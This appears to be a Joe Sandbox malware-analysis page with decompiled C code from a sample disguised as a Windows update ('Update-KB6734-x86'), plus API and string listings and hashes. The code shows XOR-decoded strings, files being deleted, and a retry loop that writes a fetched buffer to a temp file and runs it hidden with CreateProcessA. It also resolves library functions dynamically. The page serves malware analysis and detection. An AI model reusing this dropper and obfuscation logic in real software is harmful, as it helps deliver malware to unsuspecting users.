				_a135 = 0x27;
				_a136 = 0x34;
				_a137 = 0xf8;
				_a138 = 0x7f;
				_a139 = 0x7a;
				_a140 = 6;
				_a141 = 0x30;
				_a142 = 0xcb;
				_a143 = 0xef;
				_a144 = 0x87;
				_a145 = 0xae;
				_a146 = 0xc9;
				_a20 = 0x5e;
				_a21 = 0x6d;
				_a22 = 0x10;
				_a23 = __ebx;
				_a24 = 0x3c;
				_a25 = 0xf9;
				_a26 = 0xe3;
				_a27 = 2;
				_a28 = 0x68;
				_a29 = 0x8c;
				_a30 = 0xc;
				_a31 = 0x1f;
				_a32 = 0x74;
				_a33 = 0x46;
				_a34 = 0xe5;
				_a35 = 0x8b;
				_a36 = 0xeb;
				_a37 = 0xc2;
				_a38 = 0xc9;
				_t192 = 0;
				do {
					 *(_t242 + _t192 + 0x80) =  *(_t242 + _t192 + 0x80) ^  *(_t242 + _t192 + 0x14);
					_t192 = _t192 + 1;
				} while (_t192 < 0x13);
				ExpandEnvironmentStringsA( &_a128,  &_a216, 0x104);
				_t195 = DeleteFileA( &_a216);
				if(_t195 == 0) {
					MoveFileExA( &_a216, _t195, 4);
				}
				_a80 = 0x7b;
				_a81 = 0x3a;
				_a82 = 0x59;
				_a83 = 0xfe;
				_a84 = 0x78;
				_a85 = _t210;
				_a86 = 0xb1;
				_a87 = 0x27;
				_a88 = 0x34;
				_a89 = 0xf8;
				_a90 = 0x7f;
				_a91 = 0x7a;
				_a92 = 6;
				_a93 = 0x30;
				_a94 = 0xcb;
				_a95 = 0xef;
				_a96 = 0x87;
				_a20 = 0x5e;
				_a21 = 0x6d;
				_a22 = 0x10;
				_a23 = _t210;
				_a24 = 0x3c;
				_a25 = 0xf9;
				_a26 = 0xe3;
				_a27 = 2;
				_a28 = 0x68;
				_a29 = 0x8c;
				_a30 = 0xc;
				_a31 = 0x1f;
				_a32 = 0x74;
				_a33 = 0x46;
				_a34 = 0xe5;
				_a35 = 0x95;
				_a36 = 0x87;
				_t196 = 0;
				do {
					 *(_t242 + _t196 + 0x4c) =  *(_t242 + _t196 + 0x4c) ^  *(_t242 + _t196 + 0x10);
					_t196 = _t196 + 1;
				} while (_t196 < 0x11);
				ExpandEnvironmentStringsA( &_a80,  &_a216, 0x104);
				DeleteFileA( &_a216);
				_a40 = 0x7b;
				_a41 = 0x3a;
				_a42 = 0x59;
				_a43 = 0xfe;
				_a44 = 0x78;
				_a45 = _t210;
				_a46 = 0xb1;
				_a47 = 0x27;
				_a48 = 0x34;
				_a49 = 0xf8;
				_a50 = 0x7f;
				_a51 = 0x7a;
				_a52 = 6;
				_a53 = 0x30;
				_a54 = 0xcb;
				_a55 = 0xef;
				_a56 = 0x87;
				_a20 = 0x5e;
				_a21 = 0x6d;
				_a22 = 0x10;
				_a23 = _t210;
				_a24 = 0x3c;
				_a25 = 0xf9;
				_a26 = 0xe3;
				_a27 = 2;
				_a28 = 0x68;
				_a29 = 0x8c;
				_a30 = 0xc;
				_a31 = 0x1f;
				_a32 = 0x74;
				_a33 = 0x46;
				_a34 = 0xe5;
				_a35 = 0x9c;
				_a36 = 0x87;
				_t200 = 0;
				do {
					 *(_t242 + _t200 + 0x24) =  *(_t242 + _t200 + 0x24) ^  *(_t242 + _t200 + 0x10);
					_t200 = _t200 + 1;
				} while (_t200 < 0x11);
				ExpandEnvironmentStringsA( &_a40,  &_a216, 0x104);
				DeleteFileA( &_a216);
				_a60 = 0x7b;
				_a61 = 0x3a;
				_a62 = 0x59;
				_a63 = 0xfe;
				_a64 = 0x78;
				_a65 = _t210;
				_a66 = 0xb1;
				_a67 = 0x27;
				_a68 = 0x34;
				_a69 = 0xf8;
				_a70 = 0x7f;
				_a71 = 0x7a;
				_a72 = 6;
				_a73 = 0x30;
				_a74 = 0xcb;
				_a75 = 0xef;
				_a76 = 0x87;
				_a20 = 0x5e;
				_a21 = 0x6d;
				_a22 = 0x10;
				_a23 = _t210;
				_a24 = 0x3c;
				_a25 = 0xf9;
				_a26 = 0xe3;
				_a27 = 2;
				_a28 = 0x68;
				_a29 = 0x8c;
				_a30 = 0xc;
				_a31 = 0x1f;
				_a32 = 0x74;
				_a33 = 0x46;
				_a34 = 0xe5;
				_a35 = 0x8c;
				_a36 = 0x87;
				_t204 = 0;
				do {
					 *(_t242 + _t204 + 0x38) =  *(_t242 + _t204 + 0x38) ^  *(_t242 + _t204 + 0x10);
					_t204 = _t204 + 1;
				} while (_t204 < 0x11);
				ExpandEnvironmentStringsA( &_a60,  &_a216, 0x104);
				return E00424873(DeleteFileA( &_a216), _a476);
			}

0x00413687
0x00413687
0x00413690
0x0041369d
0x004136a4
0x004136a5
0x004136bf
0x004136c9
0x004136cb
0x004136d3
0x004136db
0x004136e3
0x004136eb
0x004136f3
0x004136fa
0x00413702
0x0041370a
0x00413712
0x0041371a
0x00413722
0x0041372a
0x00413732
0x0041373a
0x00413742
0x0041374a
0x00413752
0x0041375a
0x00413762
0x00413767
0x0041376c
0x00413771
0x00413775
0x0041377a
0x0041377f
0x00413784
0x00413789
0x0041378e
0x00413793
0x00413798
0x0041379d
0x004137a2
0x004137a7
0x004137ac
0x004137b1
0x004137b6
0x004137bb
0x004137c0
0x004137c2
0x004137cf
0x004137d6
0x004137d7
0x004137f1
0x004137fb
0x004137ff
0x0041380c
0x0041380c
0x0041380e
0x00413813
0x00413818
0x0041381d
0x00413822
0x00413827
0x0041382b
0x00413830
0x00413835
0x0041383a
0x0041383f
0x00413844
0x00413849
0x0041384e
0x00413853
0x00413858
0x0041385d
0x00413862
0x00413867
0x0041386c
0x00413871
0x00413875
0x0041387a
0x0041387f
0x00413884
0x00413889
0x0041388e
0x00413893
0x00413898
0x0041389d
0x004138a2
0x004138a7
0x004138ac
0x004138b1
0x004138b6
0x004138c0
0x004138ca
0x004138ce
0x004138cf
0x004138e6
0x004138f0
0x004138f2
0x004138f7
0x004138fc
0x00413901
0x00413906
0x0041390b
0x0041390f
0x00413914
0x00413919
0x0041391e
0x00413923
0x00413928
0x0041392d
0x00413932
0x00413937
0x0041393c
0x00413941
0x00413946
0x0041394b
0x00413950
0x00413955
0x00413959
0x0041395e
0x00413963
0x00413968
0x0041396d
0x00413972
0x00413977
0x0041397c
0x00413981
0x00413986
0x0041398b
0x00413990
0x00413995
0x0041399a
0x004139a0
0x004139aa
0x004139ae
0x004139af
0x004139c6
0x004139d0
0x004139d2
0x004139d7
0x004139dc
0x004139e1
0x004139e6
0x004139eb
0x004139ef
0x004139f4
0x004139f9
0x004139fe
0x00413a03
0x00413a08
0x00413a0d
0x00413a12
0x00413a17
0x00413a1c
0x00413a21
0x00413a26
0x00413a2b
0x00413a30
0x00413a35
0x00413a39
0x00413a3e
0x00413a43
0x00413a48
0x00413a4d
0x00413a52
0x00413a57
0x00413a5c
0x00413a61
0x00413a66
0x00413a6b
0x00413a70
0x00413a75
0x00413a7a
0x00413a80
0x00413a8a
0x00413a8e
0x00413a8f
0x00413aa6
0x00413ac7

APIs

ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004136BF
DeleteFileA.KERNEL32(?), ref: 004136C9
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004137F1
DeleteFileA.KERNEL32(?), ref: 004137FB
MoveFileExA.KERNEL32 ref: 0041380C
ExpandEnvironmentStringsA.KERNEL32(00000078,?,00000104), ref: 004138E6
DeleteFileA.KERNEL32(?), ref: 004138F0
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004139C6
DeleteFileA.KERNEL32(?), ref: 004139D0
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 00413AA6
DeleteFileA.KERNEL32(?), ref: 00413AB0

Strings

z, xrefs: 00413A08
^, xrefs: 00413A26
m, xrefs: 00413A2B
x, xrefs: 00413822
Y, xrefs: 004138FC
:, xrefs: 00413813
:, xrefs: 004136D3
Y, xrefs: 004139DC
', xrefs: 00413830
:, xrefs: 004138F7
<, xrefs: 00413A39
Y, xrefs: 00413818
', xrefs: 00413914
Y, xrefs: 004136DB
4, xrefs: 004139F9
z, xrefs: 00413928
{, xrefs: 004138F2
x, xrefs: 004139E6
{, xrefs: 0041380E
0, xrefs: 00413A12
h, xrefs: 00413A4D
t, xrefs: 00413A61
F, xrefs: 004138A2
z, xrefs: 00413844
x, xrefs: 00413906
t, xrefs: 0041389D
z, xrefs: 00413722
0, xrefs: 0041384E
m, xrefs: 00413867
4, xrefs: 00413835
:, xrefs: 004139D7
4, xrefs: 00413919
{, xrefs: 004136CB
0, xrefs: 00413732
F, xrefs: 00413A66
4, xrefs: 0041370A
', xrefs: 00413702
0, xrefs: 00413932
', xrefs: 004139F4
x, xrefs: 004136EB
{, xrefs: 004139D2

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: File$DeleteEnvironmentExpandStrings$Move
String ID: '$'$'$'$0$0$0$0$4$4$4$4$:$:$:$:$<$F$F$Y$Y$Y$Y$^$h$m$m$t$t$x$x$x$x$z$z$z$z${${${${
API String ID: 1654938343-3628898711
Opcode ID: e9b6a916e27b3cf29a9a65f7cf79a47c5e7352404d4b86a79d6f692a307431ad
Instruction ID: ffda26696a7c03ebfd7e55884b4f9ff3b6aa4abcfec39c9677275916e54d1851
Opcode Fuzzy Hash: e9b6a916e27b3cf29a9a65f7cf79a47c5e7352404d4b86a79d6f692a307431ad
Instruction Fuzzy Hash: 05D1A91100C7C289D322D67C945878FFFD51BE7228F484F9DE1E99A2D2C6AA824DC767

Uniqueness

Uniqueness Score: -1.00%

Function 00401960, Relevance: 84.3, APIs: 15, Strings: 33, Instructions: 332
memorysleepfileCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E00401960() {
				intOrPtr _v8;
				char _v344;
				char _v566;
				char _v567;
				char _v568;
				char _v569;
				char _v570;
				char _v571;
				char _v572;
				char _v573;
				char _v574;
				char _v575;
				char _v576;
				char _v577;
				char _v578;
				char _v579;
				char _v580;
				char _v581;
				char _v582;
				char _v583;
				char _v584;
				char _v585;
				char _v586;
				char _v587;
				char _v588;
				char _v589;
				char _v590;
				char _v591;
				char _v592;
				char _v593;
				char _v594;
				char _v595;
				char _v596;
				char _v597;
				char _v598;
				char _v599;
				char _v600;
				char _v601;
				char _v602;
				char _v603;
				char _v604;
				char _v605;
				char _v606;
				char _v607;
				char _v608;
				char _v609;
				char _v610;
				char _v611;
				char _v612;
				char _v614;
				char _v615;
				char _v617;
				char _v618;
				char _v619;
				char _v621;
				char _v622;
				char _v623;
				char _v625;
				char _v626;
				char _v627;
				char _v629;
				char _v631;
				char _v633;
				char _v634;
				char _v635;
				char _v637;
				char _v638;
				char _v639;
				char _v641;
				char _v642;
				char _v643;
				char _v645;
				char _v646;
				char _v647;
				char _v649;
				char _v650;
				char _v651;
				char _v653;
				char _v654;
				char _v655;
				char _v657;
				char _v658;
				char _v659;
				struct _STARTUPINFOA _v680;
				char _v688;
				intOrPtr _v692;
				void* _v696;
				intOrPtr _v700;
				char _v704;
				char _v712;
				intOrPtr _v716;
				intOrPtr _v720;
				intOrPtr _v728;
				struct _PROCESS_INFORMATION _v744;
				long _v748;
				long _v752;
				intOrPtr _v756;
				CHAR* _v760;
				void* _v764;
				intOrPtr _v776;
				intOrPtr _t150;
				CHAR* _t153;
				long _t154;
				void* _t158;
				intOrPtr _t159;
				intOrPtr _t165;
				signed char _t170;
				signed char _t171;
				signed int _t188;
				signed int _t196;
				signed char _t208;
				signed char _t224;
				intOrPtr _t247;
				void* _t248;
				signed int _t257;
				void* _t259;

				_t259 = (_t257 & 0xfffffff8) - 0x2bc;
				_t150 =  *0x4310d8; // 0xa9302559
				_v8 = _t150;
				_v680.dwXSize = 0x78;
				_v641 = 0x78;
				_v680.dwFillAttribute = 0x92;
				_v634 = 0x92;
				_v625 = 0x92;
				_v680.dwY = 0x7b;
				_v659 = 0x3a;
				_v658 = 0x59;
				_v657 = 0xfe;
				_v655 = 0xb0;
				_v654 = 0xb1;
				_v653 = 0x27;
				_v680.dwYSize = 0x34;
				_v651 = 0xf8;
				_v650 = 0x7f;
				_v649 = 0x7a;
				_v680.dwXCountChars = 6;
				_v647 = 0x30;
				_v646 = 0xcb;
				_v645 = 0xef;
				_v680.dwYCountChars = 0x87;
				_v643 = 0xae;
				_v642 = 0xc9;
				_v639 = 0x32;
				_v638 = 0xab;
				_v637 = 0x86;
				_v680.dwFlags = 0x63;
				_v635 = 0x79;
				_v633 = 0x5c;
				_v680.wShowWindow = 0x91;
				_v631 = 0xf3;
				_v680.cbReserved2 = 0xd2;
				_v629 = 0xbf;
				_v680.lpReserved2 = 0xb5;
				_v627 = 0x53;
				_v626 = 0xa2;
				_v680.hStdInput = 0x76;
				_v623 = 0x85;
				_v622 = 0xd9;
				_v621 = 4;
				_v680.hStdOutput = 0x41;
				_v619 = 0x85;
				_v618 = 0x70;
				_v617 = 0x49;
				_v680.hStdError = 0xf6;
				_v615 = 0x7d;
				_v614 = 0xd2;
				_v612 = 0x13;
				_v611 = 0x4e;
				_v610 = 0x2d;
				_v609 = 0x8e;
				_v608 = 0x42;
				_v607 = 0x9f;
				_v606 = 0x9e;
				_v605 = 0x50;
				_v604 = 0x43;
				_v603 = 0x8f;
				_v602 = 0x4b;
				_v601 = 0x54;
				_v600 = 0x65;
				_v599 = 0x55;
				_v598 = 0xaf;
				_v597 = 0x8a;
				_v596 = 0xf4;
				_v595 = 0xdb;
				_v594 = 0xa7;
				_v593 = 0x12;
				_v592 = 0xf7;
				_v591 = 0x40;
				_v590 = 0xc2;
				_v589 = 0xe8;
				_v566 = 0xd2;
				_v588 = 8;
				_v587 = 0x18;
				_v586 = 0xe1;
				_v585 = 0x72;
				_v584 = 0xf2;
				_v583 = 0x9c;
				_v582 = 0xbf;
				_v581 = 0x90;
				_v580 = 0xd6;
				_v579 = 0x3b;
				_v578 = 0xd0;
				_v577 = 0xbd;
				_v576 = 1;
				_v575 = 0xf1;
				_v574 = 0xbb;
				_v573 = 0x2b;
				_v572 = 0x2d;
				_v571 = 0xf1;
				_v570 = 0x5e;
				_v569 = 0x2c;
				_v568 = 0x8e;
				_v567 = 0x18;
				_t153 = 0;
				do {
					 *(_t259 + _t153 + 0x38) =  *(_t259 + _t153 + 0x38) ^  *(_t259 + _t153 + 0x68);
					_t153 = _t153 + 1;
				} while (_t153 < 0x2f);
				_v692 = 1;
				_t154 = E004016F0();
				if(_t154 != 0) {
					L23:
					return E00424873(0, _v8);
				} else {
					_t158 = HeapAlloc(GetProcessHeap(), _t154, 0x80000);
					_v696 = _t158;
					if(_t158 != 0) {
						_t159 = 0;
						_t208 = 0x32;
						_v700 = 0;
						while(_t159 < 0x20) {
							if(_t159 != 0) {
								Sleep(0x493e0);
							}
							_push(0);
							_push( &_v704);
							_v704 = 7;
							_t208 = _t208 + 0x2c;
							while( *0x431ef8() == 0) {
								Sleep(0x3e8);
								_push(0);
								_push( &_v712);
								_v712 = 7;
								_t208 = _t208 + 0x2c;
							}
							_t247 =  *0x431efc(0x42e292, 1, 0, 0, 0);
							_v716 = _t247;
							if(_t247 != 0) {
								_t165 =  *0x431f00(_t247,  &_v688, 0, 0, 0, 0);
								_v756 = _t165;
								if(_t165 != 0) {
									_push( &(_v744.dwProcessId));
									_push(0x80000);
									_push(_v748);
									_push(_t165);
									 *0x431c81 = 0xb7;
									if( *0x431f04() != 0) {
										GetTempPathA(0x104,  &_v344);
										GetTempFileNameA( &_v344, 0x42e290, 0,  &_v608);
										_t170 =  *0x431c81; // 0x0
										_t171 = _t170 | 0x00000082;
										 *0x431c81 = _t171;
										_t248 = CreateFileA( &_v608, 0x40000000, 0, 0, 2, 0, 0);
										 *0x431c81 = 0x76;
										WriteFile(_t248, _v764, _v752,  &_v748, 0);
										_t224 =  *0x431c81; // 0x0
										 *0x431c81 = _t224 | _t171 ^ 0x00000011 | 0x00000039;
										CloseHandle(_t248);
										memset( &_v680, 0, 0x11 << 2);
										_t259 = _t259 + 0xc;
										_v680.cb = 0x44;
										_v680.wShowWindow = 0;
										if(CreateProcessA(0,  &_v608, 0, 0, 0, 0, 0, 0,  &_v680,  &_v744) == 0) {
											DeleteFileA( &_v608);
										} else {
											CloseHandle(_v744.hThread);
											 *0x431c81 =  *0x431c81 | 0x00000058;
											CloseHandle(_v744);
											_t188 =  *0x431c81; // 0x0
											_v760 = 0;
											 *0x431c81 = (_t188 * 0x000000e4 | 0x0000003d) ^ 0x0000009c;
											E00401830();
										}
										 *0x431c81 = 0x76;
										 *0x431f08(_v756);
										 *0x431f08(_v776);
										_t208 = 0x76;
										 *0x431c81 = 0xf7;
									} else {
										 *0x431f08(_t247);
										 *0x431c81 = 0xb7;
										_t208 = 0xa6;
										 *0x431f08(_v776);
									}
								} else {
									_t196 =  *0x431c81; // 0x0
									 *0x431c81 = _t196 * 0xf7;
									_t208 = 0x51;
									 *0x431f08(_t247);
								}
							}
							_v728 = _v728 + 1;
							if(_v720 != 0) {
								_t159 = _v728;
								continue;
							}
							break;
						}
						HeapFree(GetProcessHeap(), 0, _v696);
						goto L23;
					} else {
						return E00424873(1, _v8);
					}
				}
			}

0x00401966
0x0040196c
0x00401973
0x0040197d
0x00401981
0x00401985
0x00401989
0x0040198f
0x00401999
0x0040199e
0x004019a3
0x004019a8
0x004019ad
0x004019b2
0x004019b7
0x004019bc
0x004019c1
0x004019c6
0x004019cb
0x004019d0
0x004019d5
0x004019da
0x004019df
0x004019e4
0x004019e9
0x004019ee
0x004019f3
0x004019f8
0x004019fd
0x00401a02
0x00401a07
0x00401a0c
0x00401a11
0x00401a16
0x00401a1b
0x00401a1f
0x00401a24
0x00401a29
0x00401a2e
0x00401a33
0x00401a38
0x00401a3c
0x00401a41
0x00401a46
0x00401a4b
0x00401a4f
0x00401a54
0x00401a59
0x00401a5e
0x00401a63
0x00401a67
0x00401a6c
0x00401a71
0x00401a76
0x00401a7a
0x00401a7f
0x00401a84
0x00401a89
0x00401a8e
0x00401a93
0x00401a98
0x00401a9d
0x00401aa2
0x00401aa7
0x00401aac
0x00401ab1
0x00401ab6
0x00401abb
0x00401ac0
0x00401ac5
0x00401aca
0x00401acf
0x00401ad4
0x00401ad9
0x00401ae2
0x00401ae9
0x00401af1
0x00401af8
0x00401b00
0x00401b08
0x00401b10
0x00401b18
0x00401b20
0x00401b28
0x00401b30
0x00401b38
0x00401b40
0x00401b48
0x00401b50
0x00401b57
0x00401b5f
0x00401b67
0x00401b6f
0x00401b76
0x00401b7e
0x00401b86
0x00401b8d
0x00401b94
0x00401b96
0x00401ba0
0x00401ba4
0x00401ba5
0x00401baa
0x00401bb2
0x00401bb9
0x00401e69
0x00401e7d
0x00401bbf
0x00401bcc
0x00401bd4
0x00401bd8
0x00401bfa
0x00401bfc
0x00401bfe
0x00401c10
0x00401c21
0x00401c28
0x00401c28
0x00401c2a
0x00401c30
0x00401c31
0x00401c39
0x00401c44
0x00401c4b
0x00401c4d
0x00401c53
0x00401c54
0x00401c5c
0x00401c65
0x00401c7c
0x00401c80
0x00401c84
0x00401c98
0x00401ca0
0x00401ca4
0x00401cca
0x00401ccb
0x00401cd0
0x00401cd1
0x00401cd2
0x00401ce1
0x00401d10
0x00401d2d
0x00401d33
0x00401d40
0x00401d44
0x00401d66
0x00401d74
0x00401d7b
0x00401d81
0x00401d8d
0x00401d93
0x00401da0
0x00401da0
0x00401dbd
0x00401dc8
0x00401dd8
0x00401e14
0x00401dda
0x00401ddf
0x00401de1
0x00401ded
0x00401def
0x00401dfc
0x00401e00
0x00401e05
0x00401e05
0x00401e1f
0x00401e26
0x00401e31
0x00401e37
0x00401e39
0x00401ce3
0x00401ce4
0x00401cef
0x00401cf6
0x00401cf8
0x00401cf8
0x00401ca6
0x00401ca6
0x00401cb0
0x00401cb5
0x00401cb7
0x00401cb7
0x00401ca4
0x00401e4b
0x00401e4f
0x00401c04
0x00000000
0x00401c04
0x00000000
0x00401e4f
0x00401e63
0x00000000
0x00401bda
0x00401bf1
0x00401bf1
0x00401bd8

APIs

GetProcessHeap.KERNEL32(00000000,00080000), ref: 00401BC5
HeapAlloc.KERNEL32(00000000), ref: 00401BCC
Sleep.KERNEL32(000493E0), ref: 00401C28
Sleep.KERNEL32(000003E8), ref: 00401C4B
GetTempPathA.KERNEL32(00000104,?), ref: 00401D10
GetTempFileNameA.KERNEL32(?,0042E290,00000000,?), ref: 00401D2D
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00401D5A
WriteFile.KERNEL32(00000000,00000007,?,?,00000000), ref: 00401D7B
CloseHandle.KERNEL32(00000000), ref: 00401D93
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00401DD0
CloseHandle.KERNEL32(?), ref: 00401DDF
CloseHandle.KERNEL32(?), ref: 00401DED
GetProcessHeap.KERNEL32(00000000,?), ref: 00401E5C
HeapFree.KERNEL32(00000000), ref: 00401E63

Strings

@, xrefs: 00401ACF
z, xrefs: 004019CB
K, xrefs: 00401A98
U, xrefs: 00401AA7
4, xrefs: 004019BC
-, xrefs: 00401A71
c, xrefs: 00401A02
B, xrefs: 00401A7A
D, xrefs: 00401DBD
}, xrefs: 00401A5E
N, xrefs: 00401A6C
r, xrefs: 00401B00
:, xrefs: 0040199E
0, xrefs: 004019D5
+, xrefs: 00401B5F
^, xrefs: 00401B76
I, xrefs: 00401A54
S, xrefs: 00401A29
v, xrefs: 00401A33
y, xrefs: 00401A07
T, xrefs: 00401A9D
e, xrefs: 00401AA2
{, xrefs: 00401999
', xrefs: 004019B7
P, xrefs: 00401A89
Y, xrefs: 004019A3
C, xrefs: 00401A8E
;, xrefs: 00401B30
A, xrefs: 00401A46
,, xrefs: 00401B7E
2, xrefs: 004019F3
p, xrefs: 00401A4F
\, xrefs: 00401A0C

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Heap$CloseFileHandleProcess$CreateSleepTemp$AllocFreeNamePathWrite
String ID: '$+$,$-$0$2$4$:$;$@$A$B$C$D$I$K$N$P$S$T$U$Y$\$^$c$e$p$r$v$y$z${$}
API String ID: 633426975-1940365277
Opcode ID: 69dfe3e2ad568bfae82bd1608e3d8c6f51c46d62c4de821528446c51c84c10da
Instruction ID: e6c0c0694c561dc4f23d5baa3025b2d471003fa36f15fb022360e7d662cf5cb9
Opcode Fuzzy Hash: 69dfe3e2ad568bfae82bd1608e3d8c6f51c46d62c4de821528446c51c84c10da
Instruction Fuzzy Hash: B7E16B3014C7C18EE321CB789848B9BBFD46BA6324F185A5DF2E48B2E2C7B58405D767

Uniqueness

Uniqueness Score: -1.00%

Function 0041DA67, Relevance: 82.4, APIs: 5, Strings: 42, Instructions: 185
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0041DA67(void* __eax, char _a40, char _a41, char _a42, char _a43, char _a44, char _a45, char _a46, char _a47, char _a48, char _a49, char _a50, char _a56, char _a57, char _a58, char _a59, char _a60, char _a61, char _a62, char _a63, char _a64, char _a65, char _a66, char _a67, char _a68, char _a69, char _a70, char _a71, char _a72, char _a73, char _a76, char _a77, char _a78, char _a79, char _a80, char _a81, char _a82, char _a83, char _a84, char _a85, char _a86, char _a87, char _a88, char _a89, char _a90, char _a91, char _a92, char _a93, char _a140, char _a152, char _a153, char _a154, char _a155, char _a156, char _a157, char _a158, char _a159, char _a160, char _a161, char _a164, char _a165, char _a166, char _a167, char _a168, char _a169, char _a170, char _a171, char _a172, char _a173, char _a174, char _a204, char _a205, char _a206, char _a207, char _a208, char _a209, char _a210, char _a211, char _a212, char _a213, intOrPtr _a336) {
				struct HINSTANCE__* __edi;

				do {
					 *(__esp +  &(__eax[0x8c])) =  *(__esp +  &(__eax[0x8c])) ^ 0x0000008a;
					__eax =  &(__eax[1]);
				} while (__eax < 0xb);
				__eax =  &_a140;
				__eax = GetProcAddress(__edi,  &_a140);
				 *0x431f0c = __eax;
				if(__eax == 0) {
					L1:
					return E00424873(0, _a336);
				} else {
					__ecx =  &_a56;
					_push(0x12);
					_push( &_a56);
					__eax =  &_a76;
					_a56 = 0x2b;
					_a57 = 0x7e;
					_a58 = 0x14;
					_a59 = 0xc5;
					_a60 = 0x31;
					_a61 = 0x22;
					_a62 = 0x49;
					_a63 = 0xdc;
					_a64 = 0xd8;
					_a65 = 0x8b;
					_a66 = 0xed;
					_a67 = 0x54;
					_a68 = 0xbb;
					_a69 = 0xba;
					_a70 = 0x48;
					_a71 = 0xbb;
					_a72 = 0xa1;
					_a73 = 0x26;
					_a76 = 0x26;
					_a77 = 0xc4;
					_a78 = 0xde;
					_a79 = 0x3a;
					_a80 = 0xfc;
					_a81 = 0xcf;
					_a82 = 0x27;
					_a83 = 0x84;
					_a84 = 0xc7;
					_a85 = 0xbc;
					_a86 = 0xae;
					_a87 = 0x26;
					_a88 = 0x41;
					_a89 = 0x54;
					_a90 = 0x97;
					_a91 = 0x67;
					_a92 = 0x10;
					_a93 = 0x6f;
					__eax = E0041C580( &_a76);
					__esp = __esp + 8;
					__eax = GetProcAddress(__edi, __eax);
					 *0x431f10 = __eax;
					if(__eax == 0) {
						goto L1;
					} else {
						__edx =  &_a40;
						__ecx =  &_a164;
						__edx = 0xb;
						_a40 = 0x6d;
						_a41 = 0x96;
						_a42 = 0x80;
						_a43 = 6;
						_a44 = 0xa9;
						_a45 = 0x60;
						_a46 = 0x53;
						_a47 = 0xb;
						_a48 = 0xec;
						_a49 = 0xb1;
						_a50 = 0xd3;
						_a164 = 0xc8;
						_a165 = 0x9d;
						_a166 = 0xee;
						_a167 = 0x8b;
						_a168 = 0xf9;
						_a169 = 0xca;
						_a170 = 0xf8;
						_a171 = 0xd6;
						_a172 = 0x92;
						_a173 = 0xde;
						_a174 = 0x92;
						__eax = E0041C4C0(__ecx, 0xb,  &_a40);
						__eax = LoadLibraryA(__eax);
						__edi = __eax;
						if(__edi == 0) {
							goto L1;
						} else {
							__eax =  &_a152;
							_push(0xa);
							_push( &_a152);
							__eax =  &_a204;
							_a152 = 0x37;
							_a153 = 0x3b;
							_a154 = 0x8f;
							_a155 = 0x69;
							_a156 = 0x24;
							_a157 = 0x7f;
							_a158 = 0x60;
							_a159 = 0xe9;
							_a160 = 0xec;
							_a161 = 0x4c;
							_a204 = 0x4c;
							_a205 = 0xad;
							_a206 = 0x8f;
							_a207 = 0x14;
							_a208 = 0x11;
							_a209 = 0x4d;
							_a210 = 0x1b;
							_a211 = 0xff;
							_a212 = 0x48;
							_a213 = 0x40;
							__eax = E0041C580( &_a204);
							__esp = __esp + 8;
							__eax = GetProcAddress(__edi, __eax);
							 *0x431f14 = __eax;
							if(__eax == 0) {
								goto L1;
							} else {
								__ecx =  &_a56;
								__ecx =  &_a76;
								__edx = 0x12;
								_a56 = 0x75;
								_a57 = 6;
								_a58 = 0xcc;
								_a59 = 0x8b;
								_a60 = 0x4c;
								_a61 = 0xb8;
								_a62 = 0x36;
								_a63 = 0x4d;
								_a64 = 0x1e;
								_a65 = 0x53;
								_a66 = 0xb7;
								_a67 = 0x58;
								_a68 = 0xd4;
								_a69 = 0xa5;
								_a70 = 0xf1;
								_a71 = 0xd3;
								_a72 = 0x12;
								_a73 = 0x39;
								_a76 = 0x4a;
								_a77 = 0x19;
								_a78 = 0x7c;
								_a79 = 8;
								_a80 = 0x5f;
								_a81 = 0x36;
								_a82 = 0x58;
								_a83 = 0x3c;
								_a84 = 0x53;
								_a85 = 0x24;
								_a86 = 0x57;
								_a87 = 0x1f;
								_a88 = 0x70;
								_a89 = 0x1f;
								_a90 = 0x74;
								_a91 = 0x31;
								_a92 = 0x49;
								_a93 = 8;
								__eax = E0041C4C0( &_a76, 0x12,  &_a56);
								__eax = GetProcAddress(__edi, __eax);
								__edx = 0;
								_t130 = __eax != 0;
								__edx = 0 | _t130;
								 *0x431f18 = __eax;
								__eax = _t130;
								__ecx = _a336;
								_pop(__edi);
								__eax = E00424873(__eax, _a336);
								__esp = __esp + 0x144;
								return __eax;
							}
						}
					}
				}
			}

0x0041da70
0x0041da70
0x0041da78
0x0041da79
0x0041da7e
0x0041da87
0x0041da8b
0x0041da90
0x0041c80f
0x0041c827
0x0041da96
0x0041da96
0x0041da9a
0x0041da9e
0x0041da9f
0x0041daa3
0x0041daa8
0x0041daad
0x0041dab2
0x0041dab7
0x0041dabc
0x0041dac1
0x0041dac6
0x0041dacb
0x0041dad0
0x0041dad5
0x0041dada
0x0041dadf
0x0041dae4
0x0041dae9
0x0041daee
0x0041daf3
0x0041daf8
0x0041dafd
0x0041db02
0x0041db07
0x0041db0b
0x0041db10
0x0041db15
0x0041db1a
0x0041db1f
0x0041db24
0x0041db29
0x0041db2e
0x0041db33
0x0041db38
0x0041db3d
0x0041db42
0x0041db47
0x0041db4c
